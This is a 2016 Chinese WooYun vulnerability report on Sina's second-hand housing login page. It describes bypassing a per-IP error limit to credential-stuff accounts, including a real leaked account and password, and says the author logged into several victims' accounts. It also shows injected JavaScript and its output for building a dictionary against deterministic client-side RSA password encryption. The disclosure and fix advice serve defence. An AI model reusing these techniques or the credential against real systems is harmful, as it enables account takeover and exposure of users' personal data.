漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0177214
漏洞标题:新浪二手房主页两处设计缺陷
相关厂商:新浪
漏洞作者: soFree
提交时间:2016-02-22 13:01
修复时间:2016-02-22 14:44
公开时间:2016-02-22 14:44
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-02-22: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
如果你只是想加密传输,请毫不犹豫使用SSL(https)。因为攻击者可以查、改 js、swf、html
详细说明:
1、登录请求:无图片验证码,设置的错误频次规则不合理(同一个IP每天限制连续错误不能超过10次)。利用这个漏洞,我们可做这样一个账号、密码字典,每隔10个,就放置一组正确的账号、密码。从而轻松绕过该错误频次规则
比如我发现的一个有效经纪人账号(liuqiang/123456),将它作为桥梁,注入到top500中,然后用弱密码123456撞库。
oh,God!top500中成功撞出100多个有效账号:
登录3个看看,涉及个人部分敏感信息:
还有不少敏感的房源信息:
2、破解登录请求被加密的密码:因密码的加密是放在客户端(web前端)做的,我们只要尝试一下,多次刷新登录页面并登录,如果同一密码(比如 123456)的加密结果都是一样的,那一定可以被破解
思路一定要清晰,尽量用最简单清晰的方法。下面细讲下我的思路,供大家参考
首先说点题外话,做过android逆向的同学都知道反编译后的代码注入或者hook,我们要到达到的目的都是为了改变原代码的实现逻辑;而做过swf(flash)文件(安全控件很多都是flash文件)反编译代码注入的同学也是如此。而我们这里的web前端,同样可以js文件中代码注入或者hmtl文件中代码注入
破解方式有两种:a.静态分析,静态分析js文件或者hmtl文件中加密密码的实现逻辑,然后自己本地复现,并增加所需代码,小弟我喜欢用webstorm或者浏览器F12;b.动态注入,就是直接在原js文件或者hmtl文件中注入代码
我们用最简单的方式b:
通过分析我发现新浪二手房登录密码的加密逻辑放在html文件中,请求url:http://j.esf.sina.com.cn/login
首先访问新浪二手房登录页面,借助fiddler,截断html文件(http://j.esf.sina.com.cn/login) 的response包,进行代码注入
原代码:
if(vPwd.length < 100){
setMaxDigits(129);
var key_to_encode = new RSAKeyPair("10001", "", "AB860767F216A28F03D2C0EC38D6E5CA0539AEE72BCCAA08A111F616182DB422388AEADECD8C7FC655F6CE1A3868609A989207AE5DF0FDEBF9BA58BD52D29557E9D73A6B0680B36C985ECCAAFC031F70EDAA5CC313E5EAF5A0A969E4051FF57F85D7FA8AED3BB3BBA96D9BAB8431DA504F7B6EA753A4ED5A1F5B673C4A20AC0B");
var pwdRtn = encryptedString(key_to_encode, vPwd);
$('#password').val(pwdRtn);
}
注入后:
if(vPwd.length < 100){
var temp ="";
for(var i=0;i<7;i++){
vPwd="12345"+i;
setMaxDigits(129);
var key_to_encode = new RSAKeyPair("10001", "", "AB860767F216A28F03D2C0EC38D6E5CA0539AEE72BCCAA08A111F616182DB422388AEADECD8C7FC655F6CE1A3868609A989207AE5DF0FDEBF9BA58BD52D29557E9D73A6B0680B36C985ECCAAFC031F70EDAA5CC313E5EAF5A0A969E4051FF57F85D7FA8AED3BB3BBA96D9BAB8431DA504F7B6EA753A4ED5A1F5B673C4A20AC0B");
var pwdRtn = encryptedString(key_to_encode, vPwd);
temp=temp+vPwd+" : "+pwdRtn+"\n";
}
console.log(temp);
$('#password').val(pwdRtn);
}
(这里我只是简单的生成123450-123456这6个密码的加密字符串;当然可以多整几个for循环,将6—20位长度(新浪二手房的密码规则)所有可能字符串对应的加密串生成一个字典。只要黑客截获他人的加密密码串后,查找下,就可轻松获取原文。)
然后关掉fiddler的断点,释放该response包
回到web前端页面上,我们输入任意的账号和密码,然后点击“登录”,在浏览器的F12的控制台就生成密码和加密密码的字典:
123450 : 482b5ac40a121d2e8b120961a64f3eb1bcc8242677199f6a4faca8578a73df9cdad19ff8b817308ddb38df7f8f08cdf94b35064c3dd2ad07787613bb8e45a4b83b0ad782e792378bb1d0ff58b71ac7c21724af949053dce484a17465592179ce7f9c46c155aa318295379b08894b46aca9fde7c0d9be31dafefda6112b6f0c12
123451 : 26426f18fa130ab68ecf9ff7d9a284775b596b32b9225b1b93dac205f0b0f916883c2241b705b9f920533024c68a1410f8efcd110438153cf4e4c6b51c20a4c6dd0c75de662e111380d530c8f69ea9cefaf5d09a322e71a008b1b55cc49279f02d06e317ddbd37e2b8f6de1a7b5ef9e0352b94fcd2c25cfd47f32a058d0608a1
123452 : 620bb4995273c5f20670c96488ee4cbeedb9a81eead19c1bf22f40de1bf2c0aa3d6f5836bf5288ac03a53723aed1a188a14ce1fe168a66183203a0a29332fa8ce09c444dd537c128eff5749360eed4caad11a47078727d61686fa72bef329d41ab69d21fd15395aa351c040493beea6fe3d7c37086c4ad5edc0223435f9f138a
123453 : 911f77fd02e2c4cad552f64f8eb00ff098b7e860752b6cec63c0b2ac483f03fae1dd82e0c34e0fa336fa96f3016e4efd37c2af3c339b063a0ff7c32f82f1da37577c180df2556df59e7fc9f29394bfcf6770b3523a3c0222efac2b92b7afc65f36bde2dd6eae3a40ac6a6aa5649f192b4e8393a217bba6b70488591825964912
123454 : 2adc2ccd11b291bb3234ce488fea8113d82e2b3b6432dbfbf5b9e9f7f475237762552b712270493f4ddfe1588d98a04c89b2c6c7c80949737ac4f7c26e7ee28046fa366d01768e9b7e85ca9e7cf3be9a68fba84957d64ef3460b09d3c475908090fc1044aa9b082d080b48e700d04791e29e0571906c193ac0e398e9caefa469
123455 : 8925ebb165b1553ab35e731e8ffb39cbe63a8d19874955ef1ad73d7c99249fb16a705b97e7aea34aff6bd7b4549f362995706c949712e04a4ad3db34d0f080b0d5ec8ac41680e2fb05a6397e5814859ce928e501db2f0fbfcc077e220f0fe0495de3f961cd33e5e1a50d90b245bb7dc655779a634a1b5a2d6638451992c8b94d
123456 : 6328a936d55a25fd0f10f23b7df6def88c3905e853f6e151b595b0cdc614f1435d1a382137f709574cfdb56254a90e7356e4c8bacd60c7c5052b04099639e936cb6767791451328c73c17507eb23a64709bb97202edaa5c25e3415a9bcf77e4e2fc3395f3f415844a4d3df9d511dba30168749270f1c8b52d416bb95ed670bff
总结:虽然新浪二手房采用RSA这种非对称算法对密码加密,不存在泄漏私钥的风险,但是因为加密逻辑放在前端完成,而同一密码每次加密后的加密串没变化,于是咱们可得出一个结论,该加密过程简直就是鸡肋,对http方式而已,多此一举!
漏洞证明:
同上
修复方案:
1、登录:增加图片验证码、优化错误频次限制规则
2、加密:因为加密逻辑始终需要放在前端做,无可避免的会被攻击者获取实现逻辑,可考虑,a.在密码后加上时间戳和一段随机数,保证同一密码不同时间被加密生成的加密串始终不一样。当然黑客也可以破解,但是可以增加破解难度;b.公钥根据时间戳随机生成,从而保证同一密码不同时间被加密生成的加密串始终不一样,而登录提交时,将该公钥参数也发到服务端用于产生对应私钥,用于解密。
个人觉得b方案更安全
版权声明:转载请注明来源 soFree@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2016-02-22 14:44
厂商回复:
感谢支持,漏洞在可承受范围内
最新状态:
暂无